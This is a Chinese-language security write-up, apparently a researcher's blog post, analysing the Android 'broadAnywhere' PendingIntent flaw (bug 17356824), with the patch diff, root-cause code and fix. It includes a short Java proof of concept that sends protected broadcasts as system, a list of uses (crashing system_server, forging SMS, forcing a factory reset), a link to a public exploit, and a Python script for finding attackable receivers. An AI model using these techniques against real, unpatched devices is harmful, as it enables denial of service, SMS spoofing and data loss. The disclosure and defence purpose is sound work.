broadAnywhere：Broadcast组件权限绕过漏洞（Bug: 17356824）

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Lolipop源代码已经放出有些日子了。我发现google在5.0上修复了一个高危漏洞，利用该漏洞能够发送随意广播：不仅能够发送系统保护级别的广播、还能够无视receiver的android:exported=false、android:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本号，所以就称它是broadAnywhere吧。这个漏洞在5.0下面的系统上通杀，影响还是非常大的。

 

一、先看补丁

通过补丁[2]能够看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。

这回这个漏洞出如今Settings加入账户的时候。

使用AccountManager加入账户的流程例如以下图：

关于AccountManagerService的流程机制请參考LaunchAnywhere漏洞的分析[1]，本篇就不赘述了。

二、怎样利用

本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。

在传递的AddAccountOptions參数时加入了一个PendingIntent。其intent类型是Broadcast。

注意这个PendingIntent是Settings创建的，拥有system权限。

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private void addAccount(String accountType) {     Bundle addAccountOptions = new Bundle();     mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);     addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);     addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));     AccountManager.get(this).addAccount(

AppB会在step3的时候取到了AddAccountOptions參数。从中获得了这个PendingIntent。而且能够利用它以system的身份发送广播。演示样例代码例如以下：

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PendingIntent pending_intent = (PendingIntent)options.get("pendingIntent"); intent.setAction("android.intent.action.BOOT_COMPLETED");   try {          pending_intent.send(getGlobalApplicationContext(),0,intent,null,null,null); } catch (CanceledException e) {          e.printStackTrace(); }

以System身份能够发送系统级的广播protected-broadcast，同一时候还能够将广播发送给未导出的receiver（android:exported=false）和有权限限制的receiver。

三、原理分析

回过头再看一下Settings是怎样创建PendingIntent的：

1	mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

Settings本身是一个高权限进程，它将自己的PendingIntent传给不可信的第三方程序是不安全的。

 

因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent()，所以攻击者在调用PendingIntent.send( )的时候能够随意设置Intent中的大部分内容。这是因为在系统源代码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);，同意调用者填充Intent的值。

 

PendingIntentRecord.java

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196    int sendInner(int code, Intent intent, String resolvedType, 197            IIntentReceiver finishedReceiver, String requiredPermission, 198            IBinder resultTo, String resultWho, int requestCode, 199            int flagsMask, int flagsValues, Bundle options) { 200        synchronized(owner) { 201            if (!canceled) { 202                sent = true; 203                if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) { 204                    owner.cancelIntentSenderLocked(this, true); 205                    canceled = true; 206                } 207                Intent finalIntent = key.requestIntent != null 208                        ?  new Intent(key.requestIntent) : new Intent(); 209                if (intent != null) { 210                    int changes = finalIntent.fillIn(intent, key.flags);

四、漏洞危害和应用场景

这个漏洞在安卓5.0下面通杀，能够觉得该漏洞影响眼下99.9%的安卓手机。

 

利用这个漏洞能够攻击绝大多数broadcast receiver。

因为Intent.fillIn这个函数要求component必须显式填充[3]。我们不能发送指定component的intent的。

可是能够通过指定intent的action已经能够攻击大多数receiver了。

 

所以这个漏洞也是有非常大利用空间的。下面举几个样例

 

1.       发送android.intent.action.BOOT_COMPLETED广播，这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃，造成本地DoS攻击。

2.       4.4上发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。

3.       发送com.google.android.c2dm.intent.RECEIVE广播，设备将恢复至出厂设置。

 

上述提到的几种利用方法已经开源：

https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824

伪造短信演示视频：

对于厂商定制固件来说，还可能有很多其它的利用方法。通过搜索系统应用的receiver。能够找到很多其它可攻击的receiver，搜索方法能够參考下面代码（python）：

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def get_receiver(self):           xmltag = self.manifest.getElementsByTagName('protected-broadcast')         if len(xmltag) != 0:                                       logByThread( self.__apk_obj.get_filename())                 logByThread( 'protected-broadcast')                 for x in xmltag:                         logByThread(  x.getAttribute("android:name"))                   xmltag = self.manifest.getElementsByTagName('receiver')         if len(xmltag) != 0:                 logByThread( self.__apk_obj.get_filename())                 logByThread( 'reciever-with-permission')                 for x in xmltag:                         if x.hasAttribute("android:permission") or (x.hasAttribute("android:exported") andx.getAttribute("android:exported").find("false")!=-1):                                 if len(x.getElementsByTagName("intent-filter")) !=0:                                         logByThread( x.toxml())         return

五、漏洞修复

通过凝视知道这个PendingIntent是用来告诉第三方应用，发起addAccount的应用是Settings。

这里事实上这不是必需用PendingIntent。只是出于历史原因，这个接口还得继续支持下去。

所以这个漏洞的修复就仅仅是简单地将PendingIntent所关联的Intent中的component、action、action中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()对intent的值进行二次填充了。

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+        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE)); +        identityIntent.setAction(SHOULD_NOT_RESOLVE); +        identityIntent.addCategory(SHOULD_NOT_RESOLVE);

六 安全建议

开发人员：

    尽量不要使用receiver来作为敏感功能的调用接口，即便这个receiver是未导出、有权限控制的。

手机厂商：

    尽快将固件升级到Android Lolipop。或者參照链接[2]推送安全更新补丁。

 

[1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html

[2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0

[3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516